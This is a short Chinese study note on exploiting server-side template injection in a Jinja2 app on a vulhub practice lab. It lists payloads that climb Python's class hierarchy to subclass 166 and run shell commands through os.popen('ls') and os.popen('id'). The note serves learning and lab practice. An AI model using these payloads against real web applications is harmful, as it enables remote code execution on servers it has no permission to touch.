注入大致流程
1. 检测漏洞,寻找注入点2.查询基本类3.查找子类4.找到子类中可以读取文件或命令执行的模块
搭建的是vulhub的ssti靶场
查询注入点

查看基本类
?name={{''.__class__.__base__}}?name={{''.__class__.__mro__}}?name={{''.__class__.__mro__[0]}}



查看子类
查看所有子类?name={{''.__class__.__base__.subclasses__()}}?name={{''.__class__.__mro__[1].__subclasses__()}}查看某一个子类?name={{''.__class__.__base__.subclasses__()[166]}}?name={{''.__class__.__mro__[1].__subclasses__()[166]}}


查看166号子类的模板
?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__}}?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

查看166号子类的模板中的函数
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']}}?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']}}

利用函数构造payload
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

理解不一定对
常见的payload
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
后面还需要熟练掌握各种绕过方法
